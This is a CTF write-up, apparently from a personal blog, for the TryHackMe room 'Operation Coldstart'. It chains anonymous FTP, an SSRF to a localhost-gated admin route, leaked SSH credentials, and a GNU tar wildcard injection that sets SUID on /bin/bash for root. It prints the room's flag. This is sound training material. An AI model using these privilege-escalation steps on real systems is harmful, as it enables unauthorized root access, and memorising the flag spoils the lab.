Writeups/TryHackMe/Operation Coldstart - TryHackMe Writeup
TryHackMeEasyRoom

Operation Coldstart - TryHackMe Writeup

Operation Coldstart TryHackMe writeup — SSRF against a localhost-gated admin route, leaked SSH credentials, and GNU tar wildcard injection for root.

Wake up the staging server everyone left behind.

##Task 1 | Operation Coldstart

###Answer the questions below

Q. What is the content of user.txt?

Ans.

Q. What is the content of flag.txt?

Ans.


##Walkthrough

Let's begin with a full TCP port scan against the target.

bash
nmap -p- -sV -sT <TARGET_IP>

Output:

text
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 80/tcp open http gunicorn

Three services are exposed:

  • >FTP
  • >SSH
  • >HTTP

##Initial Enumeration

Browsing to the web application presents a simple URL Preview Service.

The page accepts a URL and fetches its contents on behalf of the user.

The application exposes a single endpoint:

http
GET /preview?url=<URL>

Testing the functionality confirms that the application performs server-side HTTP requests.

###FTP Enumeration

Anonymous FTP access is enabled.

bash
ftp <TARGET_IP> Name: anonymous

Listing the contents reveals a backup archive.

bash
ftp> ls backup.tar.gz

Download it.

bash
get backup.tar.gz

Extract it.

bash
gunzip backup.tar.gz tar -xvf backup.tar

Contents:

text
voltlabs-preview/ ├── app.py ├── requirements.txt └── README.md

##Source Code Review

The README contains an interesting note.

text
Admin routes are gated by source-IP check (localhost only).

Inspecting app.py confirms this.

The application only allows requests to a single hostname.

python
ALLOWED_HOSTS = {"kestrel.thm"} host = (urlparse(target).hostname or "").lower() if host not in ALLOWED_HOSTS: return 403 requests.get(target)

The preview endpoint therefore contains an SSRF vulnerability, but only towards the allow-listed hostname.

Further down, another interesting route exists.

python
@app.route("/admin/") @app.route("/admin/<path:p>") def admin(...): if not request.remote_addr.startswith("127."): abort(403)

Only requests originating from localhost can access /admin.

However, because the preview endpoint performs requests on the server itself, we can abuse the SSRF to reach this endpoint.

##Exploiting SSRF

Request:

http
GET /preview?url=http://kestrel.thm/admin/notes

Response:

text
=== INTERNAL === SSH access for staging: user: webdev pass: V0ltLabs#summer - Mara

We have obtained valid SSH credentials.

##Initial Access

SSH into the machine.

bash
ssh webdev@<TARGET_IP>

Password:

V0ltLabs#summer

Successfully authenticated.

###User Enumeration

Checking sudo permissions:

bash
sudo -l

Output:

text
Sorry, user webdev may not run sudo.

No sudo access.

Enumerating SUID binaries:

bash
find / -perm -4000 -type f 2>/dev/null

Only default Ubuntu binaries are present.

Capabilities:

bash
getcap -r / 2>/dev/null

Nothing immediately useful.

##Cron Enumeration

Inspect scheduled jobs.

bash
cat /etc/crontab

Nothing unusual.

However, /etc/cron.d contains another job.

bash
cat /etc/cron.d/voltlabs-backup

Output:

text
* * * * * root cd /opt/backups && tar czf /var/backups/uploads.tgz *

This immediately stands out.

The cron job archives everything inside /opt/backups using a wildcard.

Whenever GNU tar processes wildcard-expanded filenames beginning with --, they are interpreted as command-line arguments.

This is the classic GNU tar wildcard injection privilege escalation.

##Verifying Write Access

Check the directory permissions.

bash
ls -ld /opt/backups

Output:

text
drwxrwx--- webdev webdev

Since the directory is writable, the attack is possible.

##GNU Tar Wildcard Injection

Create a payload script.

bash
echo 'chmod u+s /bin/bash' > shell.sh chmod +x shell.sh

Create the malicious filenames.

bash
touch -- '--checkpoint=1' touch -- '--checkpoint-action=exec=sh shell.sh'

Directory contents:

text
--checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh

When cron executes:

bash
tar czf /var/backups/uploads.tgz *

it effectively becomes:

bash
tar czf /var/backups/uploads.tgz \ --checkpoint=1 \ --checkpoint-action=exec=sh shell.sh \ *

tar therefore executes:

bash
sh shell.sh

as root.

##Privilege Escalation

Wait for the cron job to execute.

Verify:

bash
ls -l /bin/bash

Output:

text
-rwsr-xr-x root root

The SUID bit has been added.

Spawn a root shell.

bash
/bin/bash -p

Verify:

bash
id

Output:

text
uid=1001(webdev) euid=0(root)

We now have root privileges.

##Root Flag

Navigate to the root directory.

bash
cd /root cat flag.txt

Flag:

THM{e6ee84a483d67ade06936fcfd1433e8a}

##Vulnerabilities Identified

  • >Anonymous FTP enabled
  • >Sensitive source code exposed through FTP backup
  • >Server-Side Request Forgery (SSRF)
  • >Localhost-only admin interface bypass via SSRF
  • >Hardcoded SSH credentials stored in internal notes
  • >Writable backup directory processed by privileged cron job
  • >GNU tar wildcard injection leading to root privilege escalation

##Attack Path

text
Nmap │ ▼ Anonymous FTP │ ▼ Download backup source │ ▼ Review Flask application │ ▼ Discover SSRF │ ▼ Access localhost-only /admin/notes │ ▼ Retrieve SSH credentials │ ▼ SSH as webdev │ ▼ Enumerate cron jobs │ ▼ Discover vulnerable tar backup │ ▼ GNU tar wildcard injection │ ▼ SUID bash │ ▼ Root

$ echo "Open to Red Team Security Research and Security Engineering roles."

> Open to Red Team Security Research and Security Engineering roles.

$ uptime

> Portfolio online since 2024 | Last updated: Aug 2026

"No one is useless in this world who lightens the burdens of another." — Charles Dickens

Considered a small donation if you found any of the walkthrough or blog posts helpful. Much appreciate :)

Buy me a coffee

© 2026 Shivang Tiwari. Built with Next.js. Hack the planet.